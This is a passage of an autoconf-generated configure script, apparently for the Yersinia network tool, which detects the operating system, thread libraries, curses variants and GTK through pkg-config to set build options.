1" >>confdefs.h $as_echo "#define NEED_USLEEP 1" >>confdefs.h ;; *netbsd*) $as_echo "#define NETBSD 1" >>confdefs.h $as_echo "#define STRANGE_BSD_BYTE 1" >>confdefs.h $as_echo "#define NEED_USLEEP 1" >>confdefs.h ;; *openbsd*) $as_echo "#define OPENBSD 1" >>confdefs.h $as_echo "#define NEED_USLEEP 1" >>confdefs.h case "`uname -r`" in 1.*) $as_echo "#define STRANGE_BSD_BYTE 1" >>confdefs.h ;; 2.0*) $as_echo "#define STRANGE_BSD_BYTE 1" >>confdefs.h ;; 2.*) ;; *) $as_echo "#define STRANGE_BSD_BYTE 1" >>confdefs.h ;; esac ;; *hpux*) $as_echo "#define HPUX 1" >>confdefs.h ;; *darwin*) $as_echo "#define DARWIN 1" >>confdefs.h ;; *) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: it seems that your OS is not supported" >&5 $as_echo "$as_me: WARNING: it seems that your OS is not supported" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: and this may cause troubles" >&5 $as_echo "$as_me: WARNING: and this may cause troubles" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: please send bugs and diffs to yersinia@iwasnot.org" >&5 $as_echo "$as_me: WARNING: please send bugs and diffs to yersinia@iwasnot.org" >&2;} ;; esac for ac_func in memcpy memset pthread_setconcurrency strerror strtok_r rand_r do : as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh` ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var" if eval test \"x\$"$as_ac_var"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1 _ACEOF fi done for ac_func in calloc_r malloc_r free_r ctime_r nanosleep do : as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh` ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var" if eval test \"x\$"$as_ac_var"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1 _ACEOF fi done for ac_func in strerror_r do : ac_fn_c_check_func "$LINENO" "strerror_r" "ac_cv_func_strerror_r" if test "x$ac_cv_func_strerror_r" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_STRERROR_R 1 _ACEOF have_strerror_r=yes else have_strerror_r=no fi done if test $have_strerror_r = yes; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking if strerror_r is on glibc version >= 2.0" >&5 $as_echo_n "checking if strerror_r is on glibc version >= 2.0... " >&6; } if test "$cross_compiling" = yes; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; }; have_glibc=no else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include int main() { #if defined(__GLIBC__) && __GLIBC__ >= 2 && __GLIBC_MINOR__ >= 0 exit(0); #else exit(1); #endif } _ACEOF if ac_fn_c_try_run "$LINENO"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; }; have_glibc=yes else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; }; have_glibc=no fi rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ conftest.$ac_objext conftest.beam conftest.$ac_ext fi if test $have_glibc = yes; then $as_echo "#define HAVE_GLIBC_STRERROR_R 1" >>confdefs.h fi fi for ac_header in semaphore.h do : ac_fn_c_check_header_mongrel "$LINENO" "semaphore.h" "ac_cv_header_semaphore_h" "$ac_includes_default" if test "x$ac_cv_header_semaphore_h" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_SEMAPHORE_H 1 _ACEOF fi done for ac_header in sched.h sys/sched.h do : as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh` ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" if eval test \"x\$"$as_ac_Header"\" = x"yes"; then : cat >>confdefs.h <<_ACEOF #define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in pthread.h do : ac_fn_c_check_header_mongrel "$LINENO" "pthread.h" "ac_cv_header_pthread_h" "$ac_includes_default" if test "x$ac_cv_header_pthread_h" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_PTHREAD_H 1 _ACEOF fi done { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_create in -lpthread" >&5 $as_echo_n "checking for pthread_create in -lpthread... " >&6; } if ${ac_cv_lib_pthread_pthread_create+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpthread $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pthread_create (); int main () { return pthread_create (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_pthread_pthread_create=yes else ac_cv_lib_pthread_pthread_create=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_create" >&5 $as_echo "$ac_cv_lib_pthread_pthread_create" >&6; } if test "x$ac_cv_lib_pthread_pthread_create" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBPTHREAD 1 _ACEOF LIBS="-lpthread $LIBS" else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_create in -lpthreads" >&5 $as_echo_n "checking for pthread_create in -lpthreads... " >&6; } if ${ac_cv_lib_pthreads_pthread_create+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpthreads $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pthread_create (); int main () { return pthread_create (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_pthreads_pthread_create=yes else ac_cv_lib_pthreads_pthread_create=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthreads_pthread_create" >&5 $as_echo "$ac_cv_lib_pthreads_pthread_create" >&6; } if test "x$ac_cv_lib_pthreads_pthread_create" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBPTHREADS 1 _ACEOF LIBS="-lpthreads $LIBS" else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthread_create in -lc_r" >&5 $as_echo_n "checking for pthread_create in -lc_r... " >&6; } if ${ac_cv_lib_c_r_pthread_create+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lc_r $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pthread_create (); int main () { return pthread_create (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_c_r_pthread_create=yes else ac_cv_lib_c_r_pthread_create=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_c_r_pthread_create" >&5 $as_echo "$ac_cv_lib_c_r_pthread_create" >&6; } if test "x$ac_cv_lib_c_r_pthread_create" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBC_R 1 _ACEOF LIBS="-lc_r $LIBS" fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pthreads support" >&5 $as_echo_n "checking for pthreads support... " >&6; } if test ".${ac_cv_header_pthread_h}" != ".yes" || (test ".${ac_cv_lib_pthread_pthread_create}" != ".yes" && test ".${ac_cv_lib_pthreads_pthread_create}" != ".yes" && test ".${ac_cv_lib_c_r_pthread_create}" != ".yes"); then { $as_echo "$as_me:${as_lineno-$LINENO}: result: error" >&5 $as_echo "error" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: error" >&5 $as_echo "$as_me: WARNING: error" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: ***********************************************" >&5 $as_echo "$as_me: WARNING: ***********************************************" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: * PTHREADS is NOT available on your system !! *" >&5 $as_echo "$as_me: WARNING: * PTHREADS is NOT available on your system !! *" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: ***********************************************" >&5 $as_echo "$as_me: WARNING: ***********************************************" >&2;} else { $as_echo "$as_me:${as_lineno-$LINENO}: result: ok" >&5 $as_echo "ok" >&6; } fi # Check whether --enable-admin was given. if test "${enable_admin+set}" = set; then : enableval=$enable_admin; else enable_admin=true fi if test $enable_admin = true; then HAVE_REMOTE_ADMIN_TRUE= HAVE_REMOTE_ADMIN_FALSE='#' else HAVE_REMOTE_ADMIN_TRUE='#' HAVE_REMOTE_ADMIN_FALSE= fi if test "$enable_admin" = "true"; then $as_echo "#define HAVE_REMOTE_ADMIN 1" >>confdefs.h fi search_ncurses=true screen_manager="" has_curses=false CFLAGS=${CFLAGS--O} # Check whether --with-sco was given. if test "${with_sco+set}" = set; then : withval=$with_sco; if test x$withval = xyes; then $as_echo "#define SCO_FLAVOR 1" >>confdefs.h CFLAGS="$CFLAGS -D_SVID3" fi fi # Check whether --with-sunos-curses was given. if test "${with_sunos_curses+set}" = set; then : withval=$with_sunos_curses; if test x$withval = xyes; then search_ncurses=false screen_manager="SunOS 4.x /usr/5include curses" { $as_echo "$as_me:${as_lineno-$LINENO}: result: Using SunOS 4.x /usr/5include curses" >&5 $as_echo "Using SunOS 4.x /usr/5include curses" >&6; } $as_echo "#define USE_SUNOS_CURSES 1" >>confdefs.h $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define NO_COLOR_CURSES 1" >>confdefs.h $as_echo "#define USE_SYSV_CURSES 1" >>confdefs.h CURSES_INCLUDEDIR="-I/usr/5include" CURSES_LIBS="/usr/5lib/libcurses.a /usr/5lib/libtermcap.a" { $as_echo "$as_me:${as_lineno-$LINENO}: result: Please note that some screen refreshs may fail" >&5 $as_echo "Please note that some screen refreshs may fail" >&6; } fi fi # Check whether --with-osf1-curses was given. if test "${with_osf1_curses+set}" = set; then : withval=$with_osf1_curses; if test x$withval = xyes; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: Using OSF1 curses" >&5 $as_echo "Using OSF1 curses" >&6; } search_ncurses=false screen_manager="OSF1 curses" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define NO_COLOR_CURSES 1" >>confdefs.h $as_echo "#define USE_SYSV_CURSES 1" >>confdefs.h CURSES_LIBS="-lcurses" fi fi # Check whether --with-vcurses was given. if test "${with_vcurses+set}" = set; then : withval=$with_vcurses; if test x$withval != xyes; then CURSES_INCLUDEDIR="-I$withval" fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: Using SysV curses" >&5 $as_echo "Using SysV curses" >&6; } $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_SYSV_CURSES 1" >>confdefs.h search_ncurses=false screen_manager="SysV/curses" CURSES_LIBS="-lcurses" fi # Check whether --with-ncurses was given. if test "${with_ncurses+set}" = set; then : withval=$with_ncurses; if test x$withval = xno ; then search_ncurses=false elif test x$withval != xyes ; then CURSES_LIBS="$LIBS -L$withval/lib -lncurses" CURSES_INCLUDEDIR="-I$withval/include" search_ncurses=false screen_manager="ncurses" $as_echo "#define USE_NCURSES 1" >>confdefs.h $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true fi fi if $search_ncurses then { $as_echo "$as_me:${as_lineno-$LINENO}: checking \"location of ncurses.h file\"..." >&5 $as_echo "$as_me: checking \"location of ncurses.h file\"..." >&6;} if $search_ncurses then if test -f /usr/include/ncurses.h then { $as_echo "$as_me:${as_lineno-$LINENO}: result: Found ncurses on /usr/include/ncurses.h" >&5 $as_echo "Found ncurses on /usr/include/ncurses.h" >&6; } CURSES_LIBS="-lncurses" CURSES_INCLUDEDIR="" search_ncurses=false screen_manager="ncurses on /usr/include" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_NCURSES 1" >>confdefs.h fi fi if $search_ncurses then if test -f /usr/include/ncurses/ncurses.h then { $as_echo "$as_me:${as_lineno-$LINENO}: result: Found ncurses on /usr/include/ncurses/ncurses.h" >&5 $as_echo "Found ncurses on /usr/include/ncurses/ncurses.h" >&6; } CURSES_LIBS="-lncurses" CURSES_INCLUDEDIR="-I/usr/include/ncurses" search_ncurses=false screen_manager="ncurses on /usr/include/ncurses" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_NCURSES 1" >>confdefs.h fi fi if $search_ncurses then if test -f /usr/local/include/ncurses.h then { $as_echo "$as_me:${as_lineno-$LINENO}: result: Found ncurses on /usr/local/include/ncurses.h" >&5 $as_echo "Found ncurses on /usr/local/include/ncurses.h" >&6; } CURSES_LIBS="-L/usr/local/lib -lncurses" CURSES_INCLUDEDIR="-I/usr/local/include" search_ncurses=false screen_manager="ncurses on /usr/local" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_NCURSES 1" >>confdefs.h fi fi if $search_ncurses then if test -f /usr/local/include/ncurses/ncurses.h then { $as_echo "$as_me:${as_lineno-$LINENO}: result: Found ncurses on /usr/local/include/ncurses/ncurses.h" >&5 $as_echo "Found ncurses on /usr/local/include/ncurses/ncurses.h" >&6; } CURSES_LIBS="-L/usr/local/lib -L/usr/local/lib/ncurses -lncurses" CURSES_INCLUDEDIR="-I/usr/local/include/ncurses" search_ncurses=false screen_manager="ncurses on /usr/local/include/ncurses" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_NCURSES 1" >>confdefs.h fi fi if $search_ncurses then if test -f /usr/local/include/ncurses/curses.h then { $as_echo "$as_me:${as_lineno-$LINENO}: result: Found ncurses on /usr/local/include/ncurses/curses.h" >&5 $as_echo "Found ncurses on /usr/local/include/ncurses/curses.h" >&6; } CURSES_LIBS="-L/usr/local/lib -lncurses" CURSES_INCLUDEDIR="-I/usr/local/include/ncurses -DRENAMED_NCURSES" search_ncurses=false screen_manager="renamed ncurses on /usr/local/.../ncurses" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_NCURSES 1" >>confdefs.h fi fi if $search_ncurses then if test -f /usr/include/ncurses/curses.h then { $as_echo "$as_me:${as_lineno-$LINENO}: result: Found ncurses on /usr/include/ncurses/curses.h" >&5 $as_echo "Found ncurses on /usr/include/ncurses/curses.h" >&6; } CURSES_LIBS="-lncurses" CURSES_INCLUDEDIR="-I/usr/include/ncurses -DRENAMED_NCURSES" search_ncurses=false screen_manager="renamed ncurses on /usr/include/ncurses" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_NCURSES 1" >>confdefs.h fi fi if $search_ncurses then cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "init_color" >/dev/null 2>&1; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: Using SysV curses" >&5 $as_echo "Using SysV curses" >&6; } $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_SYSV_CURSES 1" >>confdefs.h search_ncurses=false screen_manager="SysV/curses" CURSES_LIBS="-lcurses" fi rm -f conftest* cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #ifdef __NCURSES_H #undef USE_NCURSES USE_NCURSES #endif _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "USE_NCURSES" >/dev/null 2>&1; then : CURSES_INCLUDEDIR="$CURSES_INCLUDEDIR -DRENAMED_NCURSES" $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define USE_NCURSES 1" >>confdefs.h search_ncurses=false screen_manager="ncurses installed as curses" fi rm -f conftest* fi if $search_ncurses then if test -f /usr/5include/curses.h then search_ncurses=false screen_manager="SunOS 4.x /usr/5include curses" { $as_echo "$as_me:${as_lineno-$LINENO}: result: Using SunOS 4.x /usr/5include curses" >&5 $as_echo "Using SunOS 4.x /usr/5include curses" >&6; } $as_echo "#define USE_SUNOS_CURSES 1" >>confdefs.h $as_echo "#define HAS_CURSES 1" >>confdefs.h has_curses=true $as_echo "#define NO_COLOR_CURSES 1" >>confdefs.h $as_echo "#define USE_SYSV_CURSES 1" >>confdefs.h CURSES_INCLUDEDIR="-I/usr/5include" CURSES_LIBS="/usr/5lib/libcurses.a /usr/5lib/libtermcap.a" { $as_echo "$as_me:${as_lineno-$LINENO}: result: Please note that some screen refreshs may fail" >&5 $as_echo "Please note that some screen refreshs may fail" >&6; } fi else # check for ncurses version, to properly ifdef mouse-fix { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ncurses version" >&5 $as_echo_n "checking for ncurses version... " >&6; } ncurses_version=unknown cat > conftest.$ac_ext < #else #include #endif #undef VERSION VERSION:NCURSES_VERSION EOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | egrep "VERSION:" >conftest.out 2>&1; then ncurses_version=`cat conftest.out|sed -e 's/^[^"]*"//' -e 's/".*//'` fi rm -rf conftest* { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ncurses_version" >&5 $as_echo "$ncurses_version" >&6; } case "$ncurses_version" in 4.[01]) $as_echo "#define NCURSES_970530 2" >>confdefs.h ;; 1.9.9g) $as_echo "#define NCURSES_970530 1" >>confdefs.h ;; 1*) $as_echo "#define NCURSES_970530 0" >>confdefs.h ;; esac fi fi if test "$has_curses" = true; then HAS_CURSES_TRUE= HAS_CURSES_FALSE='#' else HAS_CURSES_TRUE='#' HAS_CURSES_FALSE= fi if test "$has_curses" = "true"; then for ac_header in panel.h do : ac_fn_c_check_header_mongrel "$LINENO" "panel.h" "ac_cv_header_panel_h" "$ac_includes_default" if test "x$ac_cv_header_panel_h" = xyes; then : cat >>confdefs.h <<_ACEOF #define HAVE_PANEL_H 1 _ACEOF fi done { $as_echo "$as_me:${as_lineno-$LINENO}: checking for use_default_colors in -lncurses" >&5 $as_echo_n "checking for use_default_colors in -lncurses... " >&6; } if ${ac_cv_lib_ncurses_use_default_colors+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lncurses $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char use_default_colors (); int main () { return use_default_colors (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_ncurses_use_default_colors=yes else ac_cv_lib_ncurses_use_default_colors=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ncurses_use_default_colors" >&5 $as_echo "$ac_cv_lib_ncurses_use_default_colors" >&6; } if test "x$ac_cv_lib_ncurses_use_default_colors" = xyes; then : $as_echo "#define HAVE_NCURSES_USE_DEFAULTS_COLORS 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for resize_term in -lncurses" >&5 $as_echo_n "checking for resize_term in -lncurses... " >&6; } if ${ac_cv_lib_ncurses_resize_term+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lncurses $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char resize_term (); int main () { return resize_term (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_ncurses_resize_term=yes else ac_cv_lib_ncurses_resize_term=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ncurses_resize_term" >&5 $as_echo "$ac_cv_lib_ncurses_resize_term" >&6; } if test "x$ac_cv_lib_ncurses_resize_term" = xyes; then : $as_echo "#define HAVE_NCURSES_RESIZETERM 1" >>confdefs.h fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for wresize in -lncurses" >&5 $as_echo_n "checking for wresize in -lncurses... " >&6; } if ${ac_cv_lib_ncurses_wresize+:} false; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lncurses $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char wresize (); int main () { return wresize (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_ncurses_wresize=yes else ac_cv_lib_ncurses_wresize=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_ncurses_wresize" >&5 $as_echo "$ac_cv_lib_ncurses_wresize" >&6; } if test "x$ac_cv_lib_ncurses_wresize" = xyes; then : $as_echo "#define HAVE_NCURSES_WRESIZE 1" >>confdefs.h fi fi # Check whether --enable-gtk was given. if test "${enable_gtk+set}" = set; then : enableval=$enable_gtk; use_gtk=$enableval else use_gtk=yes fi if test $use_gtk = yes; then HAVE_GTK_TRUE= HAVE_GTK_FALSE='#' else HAVE_GTK_TRUE='#' HAVE_GTK_FALSE= fi if test $use_gtk = yes; then $as_echo "#define HAVE_GTK 1" >>confdefs.h pkg_modules="gtk+-2.0 >= 2.0.0" if test "x$ac_cv_env_PKG_CONFIG_set" != "xset"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}pkg-config", so it can be a program name with args. set dummy ${ac_tool_prefix}pkg-config; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_path_PKG_CONFIG+:} false; then : $as_echo_n "(cached) " >&6 else case $PKG_CONFIG in [\\/]* | ?:[\\/]*) ac_cv_path_PKG_CONFIG="$PKG_CONFIG" # Let the user override the test with a path. ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_path_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS ;; esac fi PKG_CONFIG=$ac_cv_path_PKG_CONFIG if test -n "$PKG_CONFIG"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $PKG_CONFIG" >&5 $as_echo "$PKG_CONFIG" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_path_PKG_CONFIG"; then ac_pt_PKG_CONFIG=$PKG_CONFIG # Extract the first word of "pkg-config", so it can be a program name with args. set dummy pkg-config; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_path_ac_pt_PKG_CONFIG+:} false; then : $as_echo_n "(cached) " >&6 else case $ac_pt_PKG_CONFIG in [\\/]* | ?:[\\/]*) ac_cv_path_ac_pt_PKG_CONFIG="$ac_pt_PKG_CONFIG" # Let the user override the test with a path. ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_path_ac_pt_PKG_CONFIG="$as_dir/$ac_word$ac_exec_ext" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS ;; esac fi ac_pt_PKG_CONFIG=$ac_cv_path_ac_pt_PKG_CONFIG if test -n "$ac_pt_PKG_CONFIG"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_pt_PKG_CONFIG" >&5 $as_echo "$ac_pt_PKG_CONFIG" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_pt_PKG_CONFIG" = x; then PKG_CONFIG="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac PKG_CONFIG=$ac_pt_PKG_CONFIG fi else PKG_CONFIG="$ac_cv_path_PKG_CONFIG" fi fi if test -n "$PKG_CONFIG"; then _pkg_min_version=0.9.0 { $as_echo "$as_me:${as_lineno-$LINENO}: checking pkg-config is at least version $_pkg_min_version" >&5 $as_echo_n "checking pkg-config is at least version $_pkg_min_version... " >&6; } if $PKG_CONFIG --atleast-pkgconfig-version $_pkg_min_version; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } PKG_CONFIG="" fi fi pkg_failed=no { $as_echo "$as_me:${as_lineno-$LINENO}: checking for PACKAGE" >&5 $as_echo_n "checking for PACKAGE... " >&6; } if test -n "$PACKAGE_CFLAGS"; then pkg_cv_PACKAGE_CFLAGS="$PACKAGE_CFLAGS" elif test -n "$PKG_CONFIG"; then if test -n "$PKG_CONFIG" && \ { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"\$pkg_modules\""; } >&5 ($PKG_CONFIG --exists --print-errors "$pkg_modules") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then pkg_cv_PACKAGE_CFLAGS=`$PKG_CONFIG --cflags "$pkg_modules" 2>/dev/null` test "x$?" != "x0" && pkg_failed=yes else pkg_failed=yes fi else pkg_failed=untried fi if test -n "$PACKAGE_LIBS"; then pkg_cv_PACKAGE_LIBS="$PACKAGE_LIBS" elif test -n "$PKG_CONFIG"; then if test -n "$PKG_CONFIG" && \ { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"\$pkg_modules\""; } >&5 ($PKG_CONFIG --exists --print-errors "$pkg_modules") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then pkg_cv_PACKAGE_LIBS=`$PKG_CONFIG --libs "$pkg_modules" 2>/dev/null` test "x$?" != "x0" && pkg_failed=yes else pkg_failed=yes fi else pkg_failed=untried fi if test $pkg_failed = yes; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then _pkg_short_errors_supported=yes else _pkg_short_errors_supported=no fi if test $_pkg_short_errors_supported = yes; then PACKAGE_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "$pkg_modules" 2>&1` else PACKAGE_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "$pkg_modules" 2>&1` fi # Put the nasty error message in config.log where it belongs echo "$PACKAGE_PKG_ERRORS" >&5 as_fn_error $? "Package requirements ($pkg_modules) were not met: $PACKAGE_PKG_ERRORS Consider adjusting the PKG_CONFIG_PATH environment variable if you installed software in a non-standard prefix. Alternatively, you may set the environment variables PACKAGE_CFLAGS and PACKAGE_LIBS to avoid the need to call pkg-config. See the pkg-config man page for more details." "$LINENO" 5 elif test $pkg_failed = untried; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "The pkg-config script could not be found or is too old. Make sure it is in your PATH or set the PKG_CONFIG environment variable to the full path to pkg-config. Alternatively, you may set the environment variables PACKAGE_CFLAGS and PACKAGE_LIBS to avoid the need to call pkg-config. See the pkg-config man page for more details. To get pkg-config, see . See \`config.log' for more details" "$LINENO" 5; } else PACKAGE_CFLAGS=$pkg_cv_PACKAGE_CFLAGS 